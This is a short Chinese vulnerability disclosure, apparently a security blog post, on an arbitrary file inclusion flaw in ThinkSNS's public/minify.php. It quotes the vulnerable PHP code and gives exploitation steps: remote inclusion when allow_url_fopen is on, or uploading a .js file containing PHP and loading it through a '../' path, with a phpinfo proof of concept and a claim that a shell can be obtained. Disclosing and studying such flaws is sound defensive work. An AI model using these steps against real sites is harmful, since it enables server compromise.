ThinkSNS一处任意文件包含。一定条件下可以getshell 问题发生在 public/minify.php
allowed_content_types = array('js','css'); $getfiles = explode(',', strip_tags($_GET['f'])); //解析参数 $gettype = (isset($_GET['t']) && $_GET['t']=='css')?'css':'js'; if($gettype=='css'){ $content_type = 'text/css'; }elseif($gettype=='js'){ $content_type = 'application/x-javascript'; }else{ die('not allowed content type'); } header ("content-type: ".$content_type."; charset: utf-8"); //注意修改到你的编码 header ("cache-control: must-revalidate"); // header ("expires: " . gmdate ("D, d M Y H:i:s", time() + 60 * 60 * 24 * 7 ) . " GMT"); //过期时间 ob_start("compress"); function compress($buffer) {//去除文件中的注释 $buffer = preg_replace('!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $buffer); return $buffer; } foreach($getfiles as $file){ $fileType = strtolower( substr($file, strrpos($file, '.') + 1 ) ); if(in_array($fileType, $allowed_content_types)){ //包含你的全部css文档 include($file); }else{ echo 'not allowed file type:'.$file; } }
通过$_GET['f'] 可以传递一个js或者css后缀的文件,内容为php脚本即可被包含并执行。 当allow_url_fopen=On 的情况下 利用就非常简单 直接远程文件。 当为Off的时候 就想办法上传一个js或者css文件到服务器 然后包含即可被执行! 写一个1.js在网站根目录 <?php phpinfo(); 访问 http://xxxxxx/public/minify.php?f=../1.js |
-
上一篇: 多备份(DBFen)某分站nginx解析漏洞(可getshell) - 网站
下一篇: 富文本编辑器的跨站脚本问题参考 - 网站安全
还没有人抢沙发呢~